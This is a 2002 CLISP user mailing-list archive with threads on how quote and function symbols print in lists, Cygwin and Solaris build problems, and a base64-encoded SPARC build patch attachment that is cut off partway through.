you will see (he said it does not . #'well). That's not just a displaying problem;) I would like to hear any neat and clean solutions to this (not just treat a sentence as a string). Thanks. --Fuliang John K. Hinsdale wrote: > > (setq x '(a quote c)) > > it is normally interpreted as: > > (a quote c) > > However, if you try this in CLISP, you will get: > > (A . 'C) > >I think this is just a problem with how it is displaying the list. >Internally it does look like it's being computed right. Not that this >isn't confusing :) > >E.g.: > > >[1]> (setq x '(a quote c)) >(A . 'C) >[2]> (describe x) > >(A . 'C) is a list of length 3. > >[3]> (describe (car x)) > >A is the symbol A, lies in #, is accessible in the package COMMON-LISP-USER. >.... > >[4]> (describe (cadr x)) > >QUOTE is the symbol QUOTE, lies in #, is accessible in the packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXT, FFI, >POSIX, REGEXP, SCREEN, SYSTEM, WILDCARD, names a special operator. > >... > >[5]> (describe (caddr x)) > >C is the symbol C, lies in #, is accessible in the package COMMON-LISP-USER. > >... > From EricM@dimaxcontrols.com Tue Sep 17 10:26:42 2002 Received: from [209.167.94.98] (helo=mail.dimaxcontrols.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rM7V-00043S-00 for ; Tue, 17 Sep 2002 10:26:42 -0700 Received: by IS~MAIL with Internet Mail Service (5.5.2653.19) id ; Tue, 17 Sep 2002 13:28:08 -0400 Message-ID: <9160B867AADDD311AE7900C04F0649BB267262@IS~MAIL> From: Eric Moncrieff To: 'Randall R Schulz' , clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] CLISP 2.30 compilation under cygwin errors. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 10:27:03 2002 X-Original-Date: Tue, 17 Sep 2002 13:28:03 -0400 Randall> Hi, Hello, Randall> If you have XFree86/Cygwin installed, you have a binary Randall> called "lndir" in /usr/X11R6/bin Randall> ("/usr/X11R6/bin/lndir.exe" to be precise). Depending on Randall> your PATH setting, you might be invoking that instead of Randall> any lndir script that's part of the CLISP build system. I removed /usr/X11R6/bin from my path, to be sure that it wasn't there, and it wasn't. Randall> Also, if line endings are an issue, there's also the text Randall> vs. binary mount business in Cygwin (not to mention the Randall> "binmode" option in the CYGWIN environment variable). If Randall> you're using Cygwin to build software, you need to Randall> understand how Cygwin handles the variant text file Randall> encodings of Windows and Unix. Hm. I'll read up on this...But I've never experienced any difficulty before. Then again, I am relatively new to the Cygwin environment. Maybe my successes have been accidental :) I'll see if I can't track anything down. Thanks for all the ideas so far. Eric From EricM@dimaxcontrols.com Tue Sep 17 10:43:59 2002 Received: from [209.167.94.98] (helo=mail.dimaxcontrols.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rMOE-0001Tv-00 for ; Tue, 17 Sep 2002 10:43:58 -0700 Received: by IS~MAIL with Internet Mail Service (5.5.2653.19) id ; Tue, 17 Sep 2002 13:45:29 -0400 Message-ID: <9160B867AADDD311AE7900C04F0649BB267263@IS~MAIL> From: Eric Moncrieff To: 'Randall R Schulz' Cc: "'clisp-list@lists.sf.net'" Subject: RE: [clisp-list] CLISP 2.30 compilation under cygwin errors. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 10:44:04 2002 X-Original-Date: Tue, 17 Sep 2002 13:45:22 -0400 Randall> The thing about text vs. binary is that different people Randall> installation and configuration choices were made. Thank you for this clear and succinct summary of the problem. Armed with this, I found a document on the cygwin website about precisely this issue, which suggested that environment variables would need to be set by running the cygwin.bat file before other tasks. I did this, and now it seems to be working better. Thanks again! Eric From kaz@footprints.net Tue Sep 17 10:56:22 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rMaE-0002xq-00 for ; Tue, 17 Sep 2002 10:56:22 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17rMaB-0002Zv-00; Tue, 17 Sep 2002 10:56:19 -0700 From: Kaz Kylheku To: "Fuliang Weng (RTC)" cc: "John K. Hinsdale" , , Fuliang Weng In-Reply-To: <3D8746B7.9010003@rtc.bosch.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 10:57:04 2002 X-Original-Date: Tue, 17 Sep 2002 10:56:19 -0700 (PDT) On Tue, 17 Sep 2002, Fuliang Weng (RTC) wrote: > Date: Tue, 17 Sep 2002 10:13:59 -0500 > From: "Fuliang Weng (RTC)" > To: John K. Hinsdale > Cc: clisp-list@lists.sourceforge.net, > Fuliang Weng > Subject: Re: [clisp-list] bug report > > Ok, I am more interested in getting the normal interpretation for the > tasks I am doing. > For example, when a function reads in a sentence represented in a list > (he said it does not function well) and then print it out, and you will > see (he said it does not . #'well). That's not just a displaying problem;) That is funny. But it *is* just a displaying problem. The above notation is equivalent to: (he said it does not . (function well)) which is equivalent to (he said it does not function well) It's just confusing to a human, that is all. :) > I would like to hear any neat and clean solutions to this (not just > treat a sentence as a string). Thanks. The neat solution is not to employ symbols from the COMMON-LISP package for your own use. If you are reading symbolic data from a file or user interface, use your own package! [14]> (defpackage :fuliang) # [15]> (in-package :fuliang) # FULIANG[16]> '(he said it does not function well) (HE SAID IT DOES NOT . #'WELL) FULIANG[17]> (shadow :function) T FULIANG[18]> '(he said it does not function well) (HE SAID IT DOES NOT FUNCTION WELL) From rrschulz@cris.com Tue Sep 17 10:56:22 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rMaC-0002xU-00 for ; Tue, 17 Sep 2002 10:56:20 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g8HHuDc09662 for ; Tue, 17 Sep 2002 13:56:14 -0400 (EDT) Received: from Clemens.cris.com (da003d0405.sjc-ca.osd.concentric.net [64.1.1.150]) by marconi.concentric.net (8.9.1a) id NAA01381; Tue, 17 Sep 2002 13:56:12 -0400 (EDT) Message-Id: <5.1.0.14.2.20020917105517.02999d08@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: RE: [clisp-list] CLISP 2.30 compilation under cygwin errors. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 10:57:04 2002 X-Original-Date: Tue, 17 Sep 2002 10:56:20 -0700 Eric, [ I originally sent this only to Eric, but since he replied to it on the list, I'm re-posting it here. ] The thing about text vs. binary is that different people make different choices when they install Cygwin and may make subsequent changes, too. This is a perennial source of problem reports on the Cygwin mailing list. They've decreased over time as software has been ported to Cygwin to make it resistant to the vagaries of Cygwin installation / configuration choices, but if the software in question (either the end product or the tools used to build it) are not fully and properly adapted to the mixed text environment of Cygwin, problems can occur and can be hard to reproduce on other systems where different Cygwin installation and configuration choices were made. Randy At 10:28 2002-09-17, you wrote: > Randall> Hi, > >Hello, > > Randall> If you have XFree86/Cygwin installed, you have a binary > Randall> called "lndir" in /usr/X11R6/bin > Randall> ("/usr/X11R6/bin/lndir.exe" to be precise). Depending on > Randall> your PATH setting, you might be invoking that instead of > Randall> any lndir script that's part of the CLISP build system. > >I removed /usr/X11R6/bin from my path, to be sure that it wasn't >there, and it wasn't. > > Randall> Also, if line endings are an issue, there's also the text > Randall> vs. binary mount business in Cygwin (not to mention the > Randall> "binmode" option in the CYGWIN environment variable). If > Randall> you're using Cygwin to build software, you need to > Randall> understand how Cygwin handles the variant text file > Randall> encodings of Windows and Unix. > >Hm. I'll read up on this...But I've never experienced any difficulty >before. Then again, I am relatively new to the Cygwin environment. >Maybe my successes have been accidental :) > >I'll see if I can't track anything down. > >Thanks for all the ideas so far. > >Eric Randy From wgf1pal@rtc.bosch.com Tue Sep 17 14:45:33 2002 Received: from gwa6.fe.bosch.de ([194.39.218.253]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rQA0-0004K4-00 for ; Tue, 17 Sep 2002 14:45:32 -0700 Received: (from uucp@localhost) by gwa6.fe.bosch.de (8.10.2/8.10.2) id g8HLjKv16178 for ; Tue, 17 Sep 2002 23:45:20 +0200 (MET DST) X-Authentication-Warning: gwa6.fe.bosch.de: uucp set sender to using -f Received: from fez8019.fe.internet.bosch.com(virus-out.fe.internet.bosch.de 10.4.4.19) by gwa6.fe.bosch.de via smap (V2.1) id xma016160; Tue, 17 Sep 02 23:44:23 +0200 Received: from 10.25.58.5 by fez8019.fe.internet.bosch.com (InterScan E-Mail VirusWall NT); Tue, 17 Sep 2002 23:17:52 +0200 Received: from rtc.bosch.com (palpc50 [10.25.58.70]) by palsrv5-10.pal.us.bosch.com (8.9.3+Sun/8.9.3) with ESMTP id OAA14668; Tue, 17 Sep 2002 14:45:57 -0700 (PDT) Message-ID: <3D87A1E7.4060704@rtc.bosch.com> From: "Fuliang Weng (RTC)" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Kaz Kylheku CC: "John K. Hinsdale" , clisp-list@lists.sourceforge.net, Fuliang Weng References: Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 14:46:03 2002 X-Original-Date: Tue, 17 Sep 2002 21:43:03 +0000
Kaz Kylheku wrote:
On Tue, 17 Sep 2002, Fuliang Weng (RTC) wrote:

Date: Tue, 17 Sep 2002 10:13:59 -0500
From: "Fuliang Weng (RTC)" <wgf1pal@rtc.bosch.com>
To: John K. Hinsdale <hin@alma.com>
Cc: clisp-list@lists.sourceforge.net,
Fuliang Weng <fuliang.weng@rtc.bosch.com>
Subject: Re: [clisp-list] bug report

Ok, I am more interested in getting the normal interpretation for the
tasks I am doing.
For example, when a function reads in a sentence represented in a list
(he said it does not function well) and then print it out, and you will
see (he said it does not . #'well). That's not just a displaying problem;)

That is funny. But it *is* just a displaying problem. The above notation
is equivalent to:

(he said it does not . (function well))

which is equivalent to

(he said it does not function well)

It's just confusing to a human, that is all. :)
I guess that I should have used "the normal representation" instead of "the normal interpretation".
In my tasks, the representation is important. I understand that these lists are equivalent, but they are
very different for my purposes. To use an analogue, if you are given a set of axioms, it does not mean that people don't need to have all the other theorems because they are all implied. In my case, if another module uses the output with this representation, it won't understand.

I would like to hear any neat and clean solutions to this (not just 
treat a sentence as a string). Thanks.

The neat solution is not to employ symbols from the COMMON-LISP package
for your own use. If you are reading symbolic data from a file or user
interface, use your own package!

[14]> (defpackage :fuliang)
#<PACKAGE FULIANG>
[15]> (in-package :fuliang)
#<PACKAGE FULIANG>
FULIANG[16]> '(he said it does not function well)
(HE SAID IT DOES NOT . #'WELL)
FULIANG[17]> (shadow :function)
T
FULIANG[18]> '(he said it does not function well)
(HE SAID IT DOES NOT FUNCTION WELL)

It is not just reading in or outputing, they need to be processed in other functions. With the CMU CL, I don't have this problem, it returns in the way I want.

* (setq x '(he said it does not function well))
(HE SAID IT DOES NOT FUNCTION WELL)

The problem with your solution is that both "quote" and "function" can't be used as the functions in lisp, which I am hesitating to do...

Thanks for the suggestion, though.


From ampy@ich.dvo.ru Tue Sep 17 14:57:32 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rQLY-0008Pd-00 for ; Tue, 17 Sep 2002 14:57:28 -0700 Received: from ppp71-3640.vtc.ru (ppp71-3640.vtc.ru [212.16.216.71]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8HLuoUR019277; Wed, 18 Sep 2002 08:56:53 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <511183061.20020918083922@ich.dvo.ru> To: Eric Moncrieff CC: "'clisp-list@lists.sf.net'" Subject: Re[2]: [clisp-list] CLISP 2.30 compilation under cygwin errors. In-reply-To: <9160B867AADDD311AE7900C04F0649BB26725D@IS~MAIL> References: <9160B867AADDD311AE7900C04F0649BB26725D@IS~MAIL> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 14:58:02 2002 X-Original-Date: Wed, 18 Sep 2002 08:39:22 +1000 Hello Eric, Tuesday, September 17, 2002, 11:25:34 PM, you wrote: > Arseny> Tuesday, September 17, 2002, 1:21:54 AM, you wrote: > Eric> bash-2.05b$ mkdir build bash-2.05b$ ./configure build mkdir: > Eric> cannot create directory > Eric> > `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND > Eric> :': No such file or directory > I'll check this now. Nope...Emacs hexl mode shows me just the 0A > at line ends, no 0Ds anywhere. Or at least, 'configure' and 'lndir' > have the correct line endings. Any other thoughts? I seem to remember I had similar problem - windows find was in the path. If the problem didn't gone try to kill find.exe (it found at windows or windows\command). >Has anyone on the list compiled successfully under cygwin? Yes, regularly. -- Best regards, Arseny From sds@gnu.org Tue Sep 17 18:51:27 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rTzz-0005ym-00 for ; Tue, 17 Sep 2002 18:51:27 -0700 Received: (cpmta 17774 invoked from network); 17 Sep 2002 18:51:24 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 17 Sep 2002 18:51:24 -0700 X-Sent: 18 Sep 2002 01:51:24 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8HNPl810560; Tue, 17 Sep 2002 19:25:47 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Fuliang Weng (RTC)" Cc: clisp-list@lists.sourceforge.net, Fuliang Weng Subject: Re: [clisp-list] Re: bug report References: <3D87A1E7.4060704@rtc.bosch.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D87A1E7.4060704@rtc.bosch.com> Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 18:52:04 2002 X-Original-Date: 17 Sep 2002 19:25:46 -0400 > * In message <3D87A1E7.4060704@rtc.bosch.com> > * On the subject of "[clisp-list] Re: bug report" > * Sent on Tue, 17 Sep 2002 21:43:03 +0000 > * Honorable "Fuliang Weng (RTC)" writes: > [14]> (defpackage :fuliang) > > # > > [15]> (in-package :fuliang) > > # > > FULIANG[16]> '(he said it does not function well) > > (HE SAID IT DOES NOT . #'WELL) > > FULIANG[17]> (shadow :function) > > T > > FULIANG[18]> '(he said it does not function well) > > (HE SAID IT DOES NOT FUNCTION WELL) the above is the correct solution. use it. FUNCTION and QUOTE are special operators in Common Lisp, and it is highly unwise to use them in any way in your data (in CL, data is code) I hope you will hit a package lock error soon - this will reinforce this point that several people have made before me already. > It is not just reading in or outputing, they need to be processed in other > functions. With the CMU CL, I don't have this problem, it returns in the way I want. > * (setq x '(he said it does not function well)) > (HE SAID IT DOES NOT FUNCTION WELL) > The problem with your solution is that both "quote" and "function" can't be used as the > functions in lisp, which I am hesitating to do... I think you are confused by the printed representation. For some unfathomable reason you want the printed representation to appear the way you envision. There are many ways to achieve this, and the way you use is the wrong one. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Lisp suffers from being twenty or thirty years ahead of time. From mommer@igpm.rwth-aachen.de Tue Sep 17 23:49:30 2002 Received: from r220-1.rz.rwth-aachen.de ([134.130.3.31]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rYeM-00060Q-00 for ; Tue, 17 Sep 2002 23:49:26 -0700 Received: from r220-1.rz.RWTH-Aachen.DE (relay2.RWTH-Aachen.DE [134.130.3.1]) by r220-1.rz.RWTH-Aachen.DE (8.12.1/8.11.3-2) with ESMTP id g8I6nI44013105; Wed, 18 Sep 2002 08:49:18 +0200 (MEST) Received: from cupid.igpm.rwth-aachen.de ([134.130.161.206]) by r220-1.rz.RWTH-Aachen.DE (8.12.1/8.11.3/24) with ESMTP id g8I6nHrn013098; Wed, 18 Sep 2002 08:49:17 +0200 (MEST) Received: from igpm.rwth-aachen.de (localhost [127.0.0.1]) by cupid.igpm.rwth-aachen.de (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g8I6nH605471; Wed, 18 Sep 2002 08:49:17 +0200 Message-ID: <3D8821ED.3060200@igpm.rwth-aachen.de> From: Mario Mommer User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sds@gnu.org CC: "Fuliang Weng (RTC)" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: bug report References: <3D87A1E7.4060704@rtc.bosch.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 23:50:04 2002 X-Original-Date: Wed, 18 Sep 2002 08:49:17 +0200 I checked back in the HyperSpec, and this is what I found: http://www.lispworks.com/reference/HyperSpec/Body/s_quote.htm#quote http://www.lispworks.com/reference/HyperSpec/Body/02_dc.htm http://www.lispworks.com/reference/HyperSpec/Body/02_dca.htm ' is a shortcut for (quote ) and not the other way arround, and thus the behavior expected by Mr. Weng is the correct one, at least according to the standard. Same for function. See http://www.lispworks.com/reference/HyperSpec/Body/02_dhb.htm Regards, Mario. Sam Steingold wrote: >>* In message <3D87A1E7.4060704@rtc.bosch.com> >>* On the subject of "[clisp-list] Re: bug report" >>* Sent on Tue, 17 Sep 2002 21:43:03 +0000 >>* Honorable "Fuliang Weng (RTC)" writes: > >>[14]> (defpackage :fuliang) >> >># >> >>[15]> (in-package :fuliang) >> >># >> >>FULIANG[16]> '(he said it does not function well) >> >>(HE SAID IT DOES NOT . #'WELL) >> >>FULIANG[17]> (shadow :function) >> >>T >> >>FULIANG[18]> '(he said it does not function well) >> >>(HE SAID IT DOES NOT FUNCTION WELL) > > the above is the correct solution. use it. > > FUNCTION and QUOTE are special operators in Common Lisp, and it is > highly unwise to use them in any way in your data (in CL, data is code) > > I hope you will hit a package lock error soon - this will reinforce > this point that several people have made before me already. > > >>It is not just reading in or outputing, they need to be processed in other >>functions. With the CMU CL, I don't have this problem, it returns in the way I want. >>* (setq x '(he said it does not function well)) >>(HE SAID IT DOES NOT FUNCTION WELL) >>The problem with your solution is that both "quote" and "function" can't be used as the >>functions in lisp, which I am hesitating to do... > > > I think you are confused by the printed representation. > For some unfathomable reason you want the printed representation to > appear the way you envision. > There are many ways to achieve this, and the way you use is the wrong one. > From tfb@cley.com Wed Sep 18 04:28:14 2002 Received: from lostwithiel.cley.com ([212.240.242.98]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rd03-0006f0-00 for ; Wed, 18 Sep 2002 04:28:07 -0700 Received: (from tfb@localhost) by lostwithiel.cley.com (8.9.3+Sun/8.9.1) id MAA25426 for clisp-list@lists.sourceforge.net; Wed, 18 Sep 2002 12:27:51 +0100 (BST) X-Mailer: 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid (via feedmail 10 I); VM 7.07 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid From: Tim Bradshaw MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Message-ID: <15752.25397.260460.367611@cley.com> To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] clisp on Solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 04:29:02 2002 X-Original-Date: Wed, 18 Sep 2002 12:27:49 +0100 has anyone has any success getting recent CLISPs to run on Solaris? 2.28 worked for me, 2.29 had some runtime problem, 2.30 fails during compilation of C code. I'm using Solaris 7 with gcc 3.1/3.2, I have readline &c though I'm not sure if it's finding it. The 2.30 compilation fails in stream.d muttering about rl_gnu_readline_p. I'm sorry not to produce a better bug report. If there's anything easy I can do I will but I don't have time to spend a lot of time debugging the system unfortunately. (Note I'm not subscribed to clisp-list - please cc any responses to me if I should see them...) --tim From EricM@dimaxcontrols.com Wed Sep 18 06:14:51 2002 Received: from [209.167.94.98] (helo=mail.dimaxcontrols.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17refL-0000Cd-00 for ; Wed, 18 Sep 2002 06:14:51 -0700 Received: by IS~MAIL with Internet Mail Service (5.5.2653.19) id ; Wed, 18 Sep 2002 09:16:22 -0400 Message-ID: <9160B867AADDD311AE7900C04F0649BB267267@IS~MAIL> From: Eric Moncrieff To: "'clisp-list@lists.sf.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Subject: [clisp-list] Compilation under cygwin...Success. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 06:15:05 2002 X-Original-Date: Wed, 18 Sep 2002 09:16:21 -0400 Hello All, Thanks for the useful suggestions. I managed to get through the whole process yesterday, including % make test and % make testsuite And, as per the documentation, I made a binary package with % make distrib It's available at http://www.groovy.net/~eric/clisp-2.30-i686-unknown-cygwin32-1.3.12.tar.gz I think. Getting stuff out from behind the corporate proxy server is tricky at best. If it's not, let me know and I'll fix it tonight. Thanks again. Eric From tfb@cley.com Wed Sep 18 06:34:48 2002 Received: from lostwithiel.cley.com ([212.240.242.98]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17reyb-0006xt-00 for ; Wed, 18 Sep 2002 06:34:46 -0700 Received: (from tfb@localhost) by lostwithiel.cley.com (8.9.3+Sun/8.9.1) id OAA12329 for clisp-list@lists.sourceforge.net; Wed, 18 Sep 2002 14:34:26 +0100 (BST) X-Mailer: 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid (via feedmail 10 I); VM 7.07 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid From: Tim Bradshaw MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Message-ID: <15752.32990.926984.21534@cley.com> To: clisp-list@lists.sourceforge.net In-Reply-To: <15752.25397.260460.367611@cley.com> References: <15752.25397.260460.367611@cley.com> Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: clisp on Solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 06:35:05 2002 X-Original-Date: Wed, 18 Sep 2002 14:34:22 +0100 * I wrote: > has anyone has any success getting recent CLISPs to run on Solaris? > 2.28 worked for me, 2.29 had some runtime problem, 2.30 fails during > compilation of C code. > I'm using Solaris 7 with gcc 3.1/3.2, I have readline &c though I'm > not sure if it's finding it. The 2.30 compilation fails in stream.d > muttering about rl_gnu_readline_p. In case this happens to anyone else: it seems to be the case that you need readline 4.3 - I had 4.2 which didn't work. With 4.3 it builds a lisp.run which then dies because (I think) the sigsegv library is missing - it gets an immediate segv which gdb dies when debugging, but clearly thinks it's in some stack overflow thing. I'll install the libraries and try again, another day. --tim From will@misconception.org.uk Wed Sep 18 06:55:29 2002 Received: from cmailm2.svr.pol.co.uk ([195.92.193.210]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rfIe-0002ry-00 for ; Wed, 18 Sep 2002 06:55:28 -0700 Received: from modem-61.caranthir.dialup.pol.co.uk ([62.136.145.61] helo=there) by cmailm2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17rfIb-0004g2-00 for clisp-list@lists.sourceforge.net; Wed, 18 Sep 2002 14:55:26 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp on Solaris X-Mailer: KMail [version 1.3.2] References: <15752.25397.260460.367611@cley.com> <15752.32990.926984.21534@cley.com> In-Reply-To: <15752.32990.926984.21534@cley.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_X50ND3V0EQQFF9FHL153" Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 06:56:02 2002 X-Original-Date: Wed, 18 Sep 2002 14:58:45 +0100 --------------Boundary-00=_X50ND3V0EQQFF9FHL153 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Wednesday 18 Sep 2002 2:34 pm, Tim Bradshaw wrote: > In case this happens to anyone else: it seems to be the case that you > need readline 4.3 - I had 4.2 which didn't work. With 4.3 it builds a > lisp.run which then dies because (I think) the sigsegv library is > missing - it gets an immediate segv which gdb dies when debugging, but > clearly thinks it's in some stack overflow thing. I'll install the > libraries and try again, another day. If that doesn't work it might be worth trying this patch. It fixes the build on Linux/sparc. --------------Boundary-00=_X50ND3V0EQQFF9FHL153 Content-Type: text/x-diff; charset="iso-8859-1"; name="sparc.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sparc.diff" LS0tIGNsaXNwLTIuMzAub3JpZy9zcmMvbGlzcGJpYmwuZAorKysgY2xpc3AtMi4zMC9zcmMvbGlz cGJpYmwuZApAQCAtNjM2LDcgKzYzNiw3IEBACiAjIEdsb2JhbCByZWdpc3RlciBkZWNsYXJhdGlv bnMuCiAjIFRoZXkgbXVzdCBvY2N1ciBiZWZvcmUgYW55IHN5c3RlbSBpbmNsdWRlIGZpbGVzIGRl ZmluZSBhbnkgaW5saW5lIGZ1bmN0aW9uLAogIyB3aGljaCBpcyB0aGUgY2FzZSBvbiBVTklYX0RH VVggYW5kIFVOSVhfR05VLgotI2lmIGRlZmluZWQoR05VKSAmJiAhZGVmaW5lZChfX2NwbHVzcGx1 